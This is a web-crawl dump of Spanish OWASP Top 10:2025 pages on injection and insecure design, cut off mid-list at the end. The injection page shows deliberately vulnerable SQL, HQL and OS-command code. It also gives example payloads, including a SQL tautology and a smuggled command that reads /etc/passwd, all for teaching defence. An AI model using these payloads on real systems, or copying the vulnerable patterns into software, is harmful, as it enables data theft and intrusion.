"https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x20-V11-Cryptography.md", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x21-V12-Secure-Communication.md", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x23-V14-Data-Protection.md", "https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html", "https://digital-strategy.ec.europa.eu/en/library/coordinated-implementation-roadmap-transition-post-quantum-cryptography", "https://www.nist.gov/news-events/news/2024/08/nist-releases-first-3-finalized-post-quantum-encryption-standards", "https://cwe.mitre.org/data/definitions/261.html", "https://cwe.mitre.org/data/definitions/296.html", "https://cwe.mitre.org/data/definitions/319.html", "https://cwe.mitre.org/data/definitions/320.html", "https://cwe.mitre.org/data/definitions/321.html", "https://cwe.mitre.org/data/definitions/322.html", "https://cwe.mitre.org/data/definitions/323.html", "https://cwe.mitre.org/data/definitions/324.html", "https://cwe.mitre.org/data/definitions/325.html", "https://cwe.mitre.org/data/definitions/326.html", "https://cwe.mitre.org/data/definitions/327.html", "https://cwe.mitre.org/data/definitions/328.html", "https://cwe.mitre.org/data/definitions/329.html", "https://cwe.mitre.org/data/definitions/330.html", "https://cwe.mitre.org/data/definitions/331.html", "https://cwe.mitre.org/data/definitions/332.html", "https://cwe.mitre.org/data/definitions/334.html", "https://cwe.mitre.org/data/definitions/335.html", "https://cwe.mitre.org/data/definitions/336.html", "https://cwe.mitre.org/data/definitions/337.html", "https://cwe.mitre.org/data/definitions/338.html", "https://cwe.mitre.org/data/definitions/340.html", "https://cwe.mitre.org/data/definitions/342.html", "https://cwe.mitre.org/data/definitions/347.html", "https://cwe.mitre.org/data/definitions/523.html", "https://cwe.mitre.org/data/definitions/757.html", "https://cwe.mitre.org/data/definitions/759.html", "https://cwe.mitre.org/data/definitions/760.html", "https://cwe.mitre.org/data/definitions/780.html", "https://cwe.mitre.org/data/definitions/916.html", "https://cwe.mitre.org/data/definitions/1240.html", "https://cwe.mitre.org/data/definitions/1241.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/es/A05_2025-Injection/", "titulek": "A05 Inyección - OWASP Top 10:2025", "h1": "A05:2025 Inyección", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/es/A05_2025-Injection/", "jazyk": "es", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A05:2025 Inyección"}, {"uroven": 2, "text": "Antecedentes."}, {"uroven": 2, "text": "Tabla de puntuación."}, {"uroven": 2, "text": "Descripción."}, {"uroven": 2, "text": "Cómo se previene."}, {"uroven": 2, "text": "Ejemplos de escenarios de ataque."}, {"uroven": 2, "text": "Referencias."}, {"uroven": 2, "text": "Lista de CWEs Mapeados"}], "markdown": "# A05:2025 Inyección\n\n## Antecedentes.\n\nLa Inyección cae dos posiciones del #3 al #5 en el ranking, manteniendo su posición relativa respecto a A04:2025-Fallos Criptográficos y A06:2025-Diseño Inseguro. La inyección es una de las categorías más probadas, con el 100% de las aplicaciones evaluadas para algún tipo de inyección. Tuvo el mayor número de CVEs de cualquier categoría, con 37 CWEs en esta categoría. La inyección incluye Cross-Site Scripting (XSS) (alta frecuencia/bajo impacto) con más de 30.000 CVEs e Inyección SQL (baja frecuencia/alto impacto) con más de 14.000 CVEs. La gran cantidad de CVEs reportados para CWE-79 Neutralización Inadecuada de Entradas Durante la Generación de Páginas Web ('Cross-site Scripting') reduce el impacto ponderado promedio de esta categoría.\n\n## Tabla de puntuación.\n\n| CWEs Mapeados | Tasa Máx. de Incidencia | Tasa Prom. de Incidencia | Cobertura Máx. | Cobertura Prom. | Explotabilidad Ponderada Prom. | Impacto Ponderado Prom. | Total de Ocurrencias | Total de CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 37 | 13.77% | 3.08% | 100.00% | 42.93% | 7.15 | 4.32 | 1,404,249 | 62,445 |\n\n## Descripción.\n\nUna vulnerabilidad de inyección es una falla en una aplicación que permite que entradas no confiables del usuario sean enviadas a un intérprete (p. ej., un navegador, una base de datos, la línea de comandos) y provoca que el intérprete ejecute partes de esa entrada como comandos.\n\nUna aplicación es vulnerable a estos tipos de ataque cuando:\n\n- Los datos proporcionados por el usuario no son validados, filtrados ni sanitizados por la aplicación.\n- Se invocan consultas dinámicas o llamadas no parametrizadas, sin codificar los parámetros de forma acorde al contexto, directamente en el intérprete.\n- Se utilizan datos no sanitizados dentro de los parámetros de búsqueda en consultas de Mapeo Relacional de Objetos (ORM — Object-Relational Mapping), para extraer registros sensibles adicionales.\n- Se utilizan datos potencialmente dañinos directamente o se concatenan. El SQL o comando resultante contiene la estructura y los datos maliciosos en consultas dinámicas, comandos o procedimientos almacenados.\n\nAlgunas de las inyecciones más comunes son SQL, NoSQL, comandos de sistema operativo (OS), Mapeo Relacional de Objetos (ORM), LDAP (Lightweight Directory Access Protocol) (Protocolo Ligero de Acceso a Directorios), y lenguaje de expresiones (EL) u Object Graph Navigation Library (OGNL). El concepto es idéntico para todos los intérpretes. La detección se logra mejor mediante una combinación de revisión de código fuente junto con pruebas automatizadas (incluyendo fuzzing) de todos los parámetros, encabezados, URL, cookies, datos JSON, SOAP y XML. La incorporación de herramientas de pruebas de seguridad de aplicaciones estáticas (SAST), dinámicas (DAST) e interactivas (IAST) en el pipeline de CI/CD también puede ser de utilidad para identificar fallas de inyección antes del despliegue en producción.\n\nUna clase relacionada de vulnerabilidades de inyección se ha vuelto común en los LLMs. Estas se tratan por separado en el [OWASP LLM Top 10](https://genai.owasp.org/llm-top-10/), específicamente en [LLM01:2025 Inyección de Prompts (Prompt Injection)](https://genai.owasp.org/llmrisk/llm01-prompt-injection/).\n\n## Cómo se previene.\n\nEl mejor medio para prevenir inyecciones requiere mantener los datos separados de los comandos y las consultas:\n\n- La opción preferida es utilizar una API segura, que evite el uso del intérprete por completo, proporcione una interfaz parametrizada, o migre a herramientas de Object-Relational Mapping (ORMs). **Nota:** Incluso cuando se parametrizan, los procedimientos almacenados pueden seguir introduciendo inyección SQL si PL/SQL o T-SQL concatena consultas y datos, o si se ejecutan datos dañinos con EXECUTE IMMEDIATE o exec().\n\nCuando no sea posible separar los datos de los comandos, se pueden reducir las amenazas utilizando las siguientes técnicas.\n\n- Implemente validaciones de entradas de datos del lado del servidor, utilizando \"listas blancas\" (allow-lists). De todos modos, esto no es una defensa completa, ya que muchas aplicaciones requieren el uso de caracteres especiales, como en campos de texto o APIs para aplicaciones móviles.\n- Para cualquier consulta dinámica restante, escape los caracteres especiales utilizando la sintaxis de escape específica para el intérprete en cuestión. **Nota:** Las estructuras SQL como nombres de tablas, nombres de columnas, etc. no pueden ser escapadas y, por lo tanto, los nombres de estructura suministrados por el usuario son peligrosos. Este es un problema común en el software de generación de informes.\n\n**Advertencia:** estas técnicas implican el análisis sintáctico (parsing) y el escape de cadenas complejas, lo que las hace propensas a errores y poco robustas ante cambios menores en el sistema subyacente.\n\n## Ejemplos de escenarios de ataque.\n\n**Escenario #1:** Una aplicación utiliza datos no confiables en la construcción de la siguiente consulta SQL vulnerable:\n\n```\nString query = \"SELECT * FROM accounts WHERE custID='\" + request.getParameter(\"id\") + \"'\";\n```\n\nUn atacante modifica el valor del parámetro 'id' en su navegador para enviar: `' OR '1'='1`. Por ejemplo:\n\n```\nhttp://example.com/app/accountView?id=' OR '1'='1\n```\n\nEsto modifica el significado de la consulta para retornar todos los registros de la tabla accounts. Ataques más peligrosos podrían modificar o eliminar datos, o incluso invocar procedimientos almacenados.\n\n**Escenario #2:** La confianza ciega de una aplicación en los frameworks puede dar lugar a consultas que siguen siendo vulnerables. Por ejemplo, Hibernate Query Language (HQL):\n\n```\nQuery HQLQuery = session.createQuery(\"FROM accounts WHERE custID='\" + request.getParameter(\"id\") + \"'\");\n```\n\nUn atacante suministra: `' OR custID IS NOT NULL OR custID='`. Esto elude el filtro y retorna todas las cuentas. Si bien HQL tiene menos funciones peligrosas que el SQL puro, sigue permitiendo el acceso no autorizado a datos cuando se concatenan entradas del usuario en las consultas.\n\n**Escenario #3:** Una aplicación pasa la entrada del usuario directamente a un comando del sistema operativo:\n\n```\nString cmd = \"nslookup \" + request.getParameter(\"domain\");\nRuntime.getRuntime().exec(cmd);\n```\n\nUn atacante suministra `example.com; cat /etc/passwd` para ejecutar comandos arbitrarios en el servidor.\n\n## Referencias.\n\n- [OWASP Controles Proactivos: Acceso Seguro a Bases de Datos (Secure Database Access)](https://owasp.org/www-project-proactive-controls/v3/en/c3-secure-database)\n- [OWASP ASVS: V5 Validación de Entradas y Codificación (Input Validation and Encoding)](https://owasp.org/www-project-application-security-verification-standard)\n- [Guía de Pruebas OWASP: Inyección SQL (SQL Injection),](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection) [Inyección de Comandos (Command Injection)](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection) , y [Inyección ORM (ORM Injection)](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.7-Testing_for_ORM_Injection)\n- Guía de referencia rápida de OWASP: Prevención de Inyección (Injection Prevention)](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n- Guía de referencia rápida de OWASP: Prevención de Inyección SQL (SQL Injection Prevention)](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n- Guía de referencia rápida de OWASP: Prevención de Inyección en Java (Injection Prevention in Java)](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet_in_Java.html)\n- Guía de referencia rápida de OWASP: Parametrización de Consultas (Query Parameterization)](https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html)\n- [Amenazas Automatizadas OWASP a Aplicaciones Web – OAT-014](https://owasp.org/www-project-automated-threats-to-web-applications/)\n- [PortSwigger: Inyección de plantillas del lado del servidor (Server-side template injection)](https://portswigger.net/kb/issues/00101080_serversidetemplateinjection)\n- [Awesome Fuzzing: lista de recursos de fuzzing](https://github.com/secfigo/Awesome-Fuzzing)\n\n## Lista de CWEs Mapeados\n\n- [CWE-20 Validación Inadecuada de Entradas (Improper Input Validation)](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-74 Neutralización Inadecuada de Elementos Especiales en la Salida Usada por un Componente Posterior ('Inyección') (Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'))](https://cwe.mitre.org/data/definitions/74.html)\n- [CWE-76 Neutralización Inadecuada de Elementos Especiales Equivalentes (Improper Neutralization of Equivalent Special Elements)](https://cwe.mitre.org/data/definitions/76.html)\n- [CWE-77 Neutralización Inadecuada de Elementos Especiales Usados en un Comando ('Inyección de Comandos') (Improper Neutralization of Special Elements used in a Command ('Command Injection'))](https://cwe.mitre.org/data/definitions/77.html)\n- [CWE-78 Neutralización Inadecuada de Elementos Especiales Usados en un Comando del Sistema Operativo ('Inyección de Comandos OS') (Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'))](https://cwe.mitre.org/data/definitions/78.html)\n- [CWE-79 Neutralización Inadecuada de Entradas Durante la Generación de Páginas Web ('Secuencia de Comandos en Sitios Cruzados') (Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'))](https://cwe.mitre.org/data/definitions/79.html)\n- [CWE-80 Neutralización Inadecuada de Etiquetas HTML Relacionadas con Scripts en una Página Web (XSS Básico) (Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS))](https://cwe.mitre.org/data/definitions/80.html)\n- [CWE-83 Neutralización Inadecuada de Scripts en Atributos en una Página Web (Improper Neutralization of Script in Attributes in a Web Page)](https://cwe.mitre.org/data/definitions/83.html)\n- [CWE-86 Neutralización Inadecuada de Caracteres Inválidos en Identificadores en Páginas Web (Improper Neutralization of Invalid Characters in Identifiers in Web Pages)](https://cwe.mitre.org/data/definitions/86.html)\n- [CWE-88 Neutralización Inadecuada de Delimitadores de Argumentos en un Comando ('Inyección de Argumentos') (Improper Neutralization of Argument Delimiters in a Command ('Argument Injection'))](https://cwe.mitre.org/data/definitions/88.html)\n- [CWE-89 Neutralización Inadecuada de Elementos Especiales Usados en un Comando SQL ('Inyección SQL') (Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'))](https://cwe.mitre.org/data/definitions/89.html)\n- [CWE-90 Neutralización Inadecuada de Elementos Especiales Usados en una Consulta LDAP ('Inyección LDAP') (Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection'))](https://cwe.mitre.org/data/definitions/90.html)\n- [CWE-91 Inyección XML (también conocida como Inyección XPath Ciega) (XML Injection (aka Blind XPath Injection))](https://cwe.mitre.org/data/definitions/91.html)\n- [CWE-93 Neutralización Inadecuada de Secuencias CRLF ('Inyección CRLF') (Improper Neutralization of CRLF Sequences ('CRLF Injection'))](https://cwe.mitre.org/data/definitions/93.html)\n- [CWE-94 Control Inadecuado de la Generación de Código ('Inyección de Código') (Improper Control of Generation of Code ('Code Injection'))](https://cwe.mitre.org/data/definitions/94.html)\n- [CWE-95 Neutralización Inadecuada de Directivas en Código Evaluado Dinámicamente ('Inyección Eval') (Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection'))](https://cwe.mitre.org/data/definitions/95.html)\n- [CWE-96 Neutralización Inadecuada de Directivas en Código Guardado Estáticamente ('Inyección de Código Estático') (Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection'))](https://cwe.mitre.org/data/definitions/96.html)\n- [CWE-97 Neutralización Inadecuada de Inclusiones del Lado del Servidor (SSI) Dentro de una Página Web (Improper Neutralization of Server-Side Includes (SSI) Within a Web Page)](https://cwe.mitre.org/data/definitions/97.html)\n- [CWE-98 Control Inadecuado del Nombre de Archivo para Sentencia Include/Require en Programas PHP ('Inclusión Remota de Archivos PHP') (Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'))](https://cwe.mitre.org/data/definitions/98.html)\n- [CWE-99 Control Inadecuado de Identificadores de Recursos ('Inyección de Recursos') (Improper Control of Resource Identifiers ('Resource Injection'))](https://cwe.mitre.org/data/definitions/99.html)\n- [CWE-103 Struts: Definición Incompleta del Método validate() (Struts: Incomplete validate() Method Definition)](https://cwe.mitre.org/data/definitions/103.html)\n- [CWE-104 Struts: Bean de Formulario No Extiende la Clase de Validación (Struts: Form Bean Does Not Extend Validation Class)](https://cwe.mitre.org/data/definitions/104.html)\n- [CWE-112 Validación XML Faltante (Missing XML Validation)](https://cwe.mitre.org/data/definitions/112.html)\n- [CWE-113 Neutralización Inadecuada de Secuencias CRLF en Cabeceras HTTP ('División de Respuesta HTTP') (Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting'))](https://cwe.mitre.org/data/definitions/113.html)\n- [CWE-114 Control de Procesos (Process Control)](https://cwe.mitre.org/data/definitions/114.html)\n- [CWE-115 Malinterpretación de la Salida (Misinterpretation of Output)](https://cwe.mitre.org/data/definitions/115.html)\n- [CWE-116 Codificación o Escape Inadecuado de la Salida (Improper Encoding or Escaping of Output)](https://cwe.mitre.org/data/definitions/116.html)\n- [CWE-129 Validación Inadecuada del Índice de Arreglo (Improper Validation of Array Index)](https://cwe.mitre.org/data/definitions/129.html)\n- [CWE-159 Manejo Inadecuado del Uso Inválido de Elementos Especiales (Improper Handling of Invalid Use of Special Elements)](https://cwe.mitre.org/data/definitions/159.html)\n- [CWE-470 Uso de Entrada Controlada Externamente para Seleccionar Clases o Código ('Reflexión Insegura') (Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection'))](https://cwe.mitre.org/data/definitions/470.html)\n- [CWE-493 Variable Pública Crítica Sin Modificador Final (Critical Public Variable Without Final Modifier)](https://cwe.mitre.org/data/definitions/493.html)\n- [CWE-500 Campo Estático Público No Marcado como Final (Public Static Field Not Marked Final)](https://cwe.mitre.org/data/definitions/500.html)\n- [CWE-564 Inyección SQL: Hibernate (SQL Injection: Hibernate)](https://cwe.mitre.org/data/definitions/564.html)\n- [CWE-610 Referencia Controlada Externamente a un Recurso en Otra Esfera (Externally Controlled Reference to a Resource in Another Sphere)](https://cwe.mitre.org/data/definitions/610.html)\n- [CWE-643 Neutralización Inadecuada de Datos Dentro de Expresiones XPath ('Inyección XPath') (Improper Neutralization of Data within XPath Expressions ('XPath Injection'))](https://cwe.mitre.org/data/definitions/643.html)\n- [CWE-644 Neutralización Inadecuada de Cabeceras HTTP para Sintaxis de Scripting (Improper Neutralization of HTTP Headers for Scripting Syntax)](https://cwe.mitre.org/data/definitions/644.html)\n- [CWE-917 Neutralización Inadecuada de Elementos Especiales Usados en una Sentencia de Lenguaje de Expresiones ('Inyección de Lenguaje de Expresiones') (Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection'))](https://cwe.mitre.org/data/definitions/917.html)", "znaku_textu": 15740, "slov": 1823, "odkazu": 82, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:53", "sha256": "cd24208b33e4ecede00505975e25a8835f5a16c44a4151acd1a59f490bada78a", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://genai.owasp.org/llm-top-10/", "https://genai.owasp.org/llmrisk/llm01-prompt-injection/", "https://portswigger.net/kb/issues/00101080_serversidetemplateinjection", "https://github.com/secfigo/Awesome-Fuzzing", "https://cwe.mitre.org/data/definitions/20.html", "https://cwe.mitre.org/data/definitions/74.html", "https://cwe.mitre.org/data/definitions/76.html", "https://cwe.mitre.org/data/definitions/77.html", "https://cwe.mitre.org/data/definitions/78.html", "https://cwe.mitre.org/data/definitions/79.html", "https://cwe.mitre.org/data/definitions/80.html", "https://cwe.mitre.org/data/definitions/83.html", "https://cwe.mitre.org/data/definitions/86.html", "https://cwe.mitre.org/data/definitions/88.html", "https://cwe.mitre.org/data/definitions/89.html", "https://cwe.mitre.org/data/definitions/90.html", "https://cwe.mitre.org/data/definitions/91.html", "https://cwe.mitre.org/data/definitions/93.html", "https://cwe.mitre.org/data/definitions/94.html", "https://cwe.mitre.org/data/definitions/95.html", "https://cwe.mitre.org/data/definitions/96.html", "https://cwe.mitre.org/data/definitions/97.html", "https://cwe.mitre.org/data/definitions/98.html", "https://cwe.mitre.org/data/definitions/99.html", "https://cwe.mitre.org/data/definitions/103.html", "https://cwe.mitre.org/data/definitions/104.html", "https://cwe.mitre.org/data/definitions/112.html", "https://cwe.mitre.org/data/definitions/113.html", "https://cwe.mitre.org/data/definitions/114.html", "https://cwe.mitre.org/data/definitions/115.html", "https://cwe.mitre.org/data/definitions/116.html", "https://cwe.mitre.org/data/definitions/129.html", "https://cwe.mitre.org/data/definitions/159.html", "https://cwe.mitre.org/data/definitions/470.html", "https://cwe.mitre.org/data/definitions/493.html", "https://cwe.mitre.org/data/definitions/500.html", "https://cwe.mitre.org/data/definitions/564.html", "https://cwe.mitre.org/data/definitions/610.html", "https://cwe.mitre.org/data/definitions/643.html", "https://cwe.mitre.org/data/definitions/644.html", "https://cwe.mitre.org/data/definitions/917.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/es/A06_2025-Insecure_Design/", "titulek": "A06 Diseño Inseguro - OWASP Top 10:2025", "h1": "A06:2025 – Diseño Inseguro", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/es/A06_2025-Insecure_Design/", "jazyk": "es", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A06:2025 – Diseño Inseguro"}, {"uroven": 2, "text": "Antecedentes"}, {"uroven": 2, "text": "Tabla de Puntuación"}, {"uroven": 2, "text": "Descripción"}, {"uroven": 3, "text": "Gestión de requerimientos y recursos"}, {"uroven": 3, "text": "Diseño seguro"}, {"uroven": 3, "text": "Ciclo de Desarrollo Seguro (S-SDLC)"}, {"uroven": 2, "text": "Cómo se previene"}, {"uroven": 2, "text": "Ejemplos de Escenarios de Ataque"}, {"uroven": 2, "text": "Referencias"}, {"uroven": 2, "text": "Lista de CWEs Mapeadas"}], "markdown": "# A06:2025 – Diseño Inseguro\n\n## Antecedentes\n\nDiseño Inseguro baja dos posiciones del #4 al #6 en el ranking, ya que **[A02:2025-Configuración de Seguridad Incorrecta](../A02_2025-Security_Misconfiguration/)** y **[A03:2025-Fallas en la Cadena de Suministro de Software](../A03_2025-Software_Supply_Chain_Failures/)** la superan. Esta categoría fue introducida en 2021 y hemos observado mejoras notables en la industria relacionadas con el modelado de amenazas y un mayor énfasis en el diseño seguro. Esta categoría se enfoca en los riesgos relacionados con fallas de diseño y arquitectura, con un llamado a un mayor uso de modelado de amenazas, patrones de diseño seguros y arquitecturas de referencia. Esto incluye fallas en la lógica de negocio de una aplicación, por ejemplo, la falta de definición de cambios de estado no deseados o inesperados dentro de una aplicación. Como comunidad, necesitamos ir más allá del \"desplazamiento a la izquierda\" en el espacio de codificación, hacia actividades previas al código, como la redacción de requisitos y el diseño de aplicaciones, que son fundamentales para los principios de Seguridad por Diseño (ver **[Establecer un Programa Moderno de AppSec: Fase de Planificación y Diseño](../0x03_2025-Establishing_a_Modern_Application_Security_Program/)**). Las Enumeraciones de Debilidades Comunes (CWE) notables incluyen *CWE-256: Almacenamiento Desprotegido de Credenciales, CWE-269: Gestión Incorrecta de Privilegios, CWE-434: Subida sin Restricciones de Archivos de Tipo Peligroso, CWE-501: Violación de Límites de Confianza y CWE-522: Credenciales Insuficientemente Protegidas.*\n\n## Tabla de Puntuación\n\n| CWEs Mapeadas | Tasa de Incidencia Máx | Tasa de Incidencia Prom | Cobertura Máx | Cobertura Prom | Explotabilidad Ponderada Prom | Impacto Ponderado Prom | Incidencias Totales | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 39 | 22.18% | 1.86% | 88.76% | 35.18% | 6.96 | 4.05 | 729,882 | 7,647 |\n\n## Descripción\n\nEl diseño inseguro es una categoría amplia que representa diferentes debilidades, expresadas como \"diseño de control faltante o ineficaz\". El diseño inseguro no es la fuente de las otras 10 categorías. Existe una diferencia entre un diseño inseguro y una implementación insegura. Distinguimos entre fallas de diseño y defectos de implementación por un motivo, difieren en la causa raíz y remediaciones. Incluso un diseño seguro puede tener defectos de implementación que conduzcan a vulnerabilidades que pueden explotarse. Un diseño inseguro no se puede arreglar con una implementación perfecta, ya que, por definición, los controles de seguridad necesarios nunca se crearon para defenderse de ataques específicos. Uno de los factores que contribuye al diseño inseguro es la falta de perfiles de riesgo empresarial inherentes al software o sistema en desarrollo y, por lo tanto, la falta de determinación del nivel de diseño de seguridad que se requiere.\n\nLos tres componentes clave de un diseño seguro son:\n\n- Recopilación de Requisitos y Gestión de Recursos\n- Creación de un Diseño Seguro\n- Contar con un Ciclo de Vida de Desarrollo Seguro\n\n### Gestión de requerimientos y recursos\n\nRecopile y negocie los requisitos de negocio de la aplicación con las partes interesadas, incluidos los requisitos de protección relacionados con la confidencialidad, integridad, disponibilidad y autenticidad de todos los activos de datos y la lógica de negocio esperada. Tenga en cuenta qué tan expuesta estará su aplicación y si necesita segregación de funcionalidades (además del control de acceso). Recopile los requerimientos técnicos, incluidos los funcionales de seguridad y los no funcionales. Planifique y negocie que el presupuesto cubra el diseño, construcción, prueba y operación, incluyendo las actividades de seguridad.\n\n### Diseño seguro\n\nEl diseño seguro es una cultura y metodología que evalúa constantemente las amenazas y garantiza que el código esté diseñado y probado de manera sólida para prevenir métodos de ataque conocidos. El modelado de amenazas debe estar integrado en sesiones de refinamiento (o actividades similares); buscar cambios en los flujos de datos y el control de acceso u otros controles de seguridad. Durante la creación de las historias de usuario, determine el flujo correcto y los estados de falla. Asegúrese de que sean bien entendidos y acordados por las partes responsables e impactadas. Analice las suposiciones y las condiciones para los flujos esperados y de falla, asegúrese de que aún sean precisos y deseables. Determine cómo validar las suposiciones y hacer cumplir las condiciones necesarias para los comportamientos adecuados. Asegúrese de que los resultados estén documentados en las historias de usuario. Aprenda de los errores y ofrezca incentivos positivos para promover mejoras. El diseño seguro no es un complemento ni una herramienta que pueda agregar al software.\n\n### Ciclo de Desarrollo Seguro (S-SDLC)\n\nEl software seguro requiere un ciclo de vide de desarrollo seguro, un patrón de diseño seguro, una metodología de carretera pavimentada (\"paved road\"), bibliotecas de componentes seguros, herramientas y modelado de amenazas. Comuníquese con sus especialistas en seguridad desde el comienzo y durante todo el proyecto, así como durante su fase de mantenimiento. Considere aprovechar el [Modelo de Madurez para el Aseguramiento del Software (SAMM)](https://owaspsamm.org) para ayudar a estructurar sus esfuerzos de desarrollo de software seguro.\n\nA menudo se subestima la autorresponsabilidad de los desarrolladores. Fomente una cultura de conciencia, responsabilidad y mitigación proactiva de riesgos. Los intercambios regulares sobre seguridad (por ejemplo, durante sesiones de modelado de amenazas) pueden generar una mentalidad para incluir la seguridad en todas las decisiones de diseño importantes.\n\n## Cómo se previene\n\n- Establezca y use un ciclo de vida de desarrollo seguro apoyado en Profesionales en Seguridad de Aplicaciones para ayudarlo a evaluar y diseñar la seguridad y controles relacionados con la privacidad\n- Establezca y utilice un catálogo de patrones de diseño seguros o componentes de \"camino pavimentado\" listos para ser utilizados\n- Utilice el modelado de amenazas para flujos críticos de autenticación, control de acceso, lógica de negocio y todo clave\n- Use el modelado de amenazas como herramienta educativa para generar una mentalidad de seguridad\n- Integre el lenguaje y los controles de seguridad en las historias de usuario\n- Integre verificaciones de viabilidad en cada capa de su aplicación (desde el frontend al backend)\n- Escriba pruebas unitarias y de integración para validar que todos los flujos críticos son resistentes al modelo de amenazas. Recopile casos de uso *y* casos de mal uso para cada capa de la aplicación.\n- Separe las capas del sistema y las capas de red según las necesidades de exposición y protección\n- Separe a los tenants de manera robusta por diseño en todos los niveles\n\n## Ejemplos de Escenarios de Ataque\n\n**Escenario #1:** Un flujo de trabajo de recuperación de credenciales podría incluir \"preguntas y respuestas\", lo cual está prohibido por NIST 800-63b, OWASP ASVS y OWASP Top 10. Las preguntas y respuestas no pueden considerarse como evidencia de identidad, ya que más de una persona puede conocer las respuestas. Dicha funcionalidad debe eliminarse y reemplazarse con un diseño más seguro.\n\n**Escenario #2:** Una cadena de cines permite descuentos en reservas grupales y tiene un máximo de quince asistentes antes de solicitar un depósito. Los atacantes podrían modelar este flujo y probar si pueden encontrar un vector de ataque en la lógica de negocio de la aplicación, por ejemplo, reservar seiscientos asientos en todos los cines a la vez en pocas solicitudes, causando una pérdida masiva de ingresos.\n\n**Escenario #3:** El sitio web de comercio electrónico de una cadena minorista no tiene protección contra bots administrados por revendedores que compran tarjetas de video de alta gama para revender en sitios de subastas. Esto genera una publicidad terrible para los fabricantes de tarjetas de video y los dueños de la cadena minorista, así como un resentimiento duradero entre los entusiastas que no pueden obtener estas tarjetas a ningún precio. El diseño cuidadoso de medidas anti-bot y reglas de lógica de dominio, como compras realizadas a los pocos segundos de la disponibilidad, pueden identificar compras no auténticas y rechazar dichas transacciones.\n\n## Referencias\n\n- [Guía de referencia rápida de OWASP: Principios de Diseño Seguro](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Product_Design_Cheat_Sheet.html)\n- [OWASP SAMM: Diseño | Arquitectura Segura](https://owaspsamm.org/model/design/secure-architecture/)\n- [OWASP SAMM: Diseño | Evaluación de Amenazas](https://owaspsamm.org/model/design/threat-assessment/)\n- [NIST – Pautas sobre Estándares Mínimos para la Verificación de Software por Desarrolladores](https://www.nist.gov/publications/guidelines-minimum-standards-developer-verification-software)\n- [El Manifiesto de Modelado de Amenazas](https://threatmodelingmanifesto.org/)\n- [Asombroso Modelado de Amenazas](https://github.com/hysnsec/awesome-threat-modelling)\n\n## Lista de CWEs Mapeadas\n\n- [CWE-73 Control Externo del Nombre o Ruta de Archivo (External Control of File Name or Path)](https://cwe.mitre.org/data/definitions/73.html)\n- [CWE-183 Lista Permisiva de Entradas Permitidas (Permissive List of Allowed Inputs)](https://cwe.mitre.org/data/definitions/183.html)\n- [CWE-256 Almacenamiento Desprotegido de Credenciales (Unprotected Storage of Credentials)](https://cwe.mitre.org/data/definitions/256.html)\n- [CWE-266 Asignación Incorrecta de Privilegios (Incorrect Privilege Assignment)](https://cwe.mitre.org/data/definitions/266.html)\n- [CWE-269 Gestión Incorrecta de Privilegios (Improper Privilege Management)](https://cwe.mitre.org/data/definitions/269.html)\n- [CWE-286 Gestión Incorrecta de Usuarios (Incorrect User Management)](https://cwe.mitre.org/data/definitions/286.html)\n- [CWE-311 Falta de Cifrado de Datos Sensibles (Missing Encryption of Sensitive Data)](https://cwe.mitre.org/data/definitions/311.html)\n- [CWE-312 Almacenamiento en Texto Claro de Información Sensible (Cleartext Storage of Sensitive Information)](https://cwe.mitre.org/data/definitions/312.html)\n- [CWE-313 Almacenamiento en Texto Claro en un Archivo o en Disco (Cleartext Storage in a File or on Disk)](https://cwe.mitre.org/data/definitions/313.html)\n- [CWE-316 Almacenamiento en Texto Claro de Información Sensible en Memoria (Cleartext Storage of Sensitive Information in 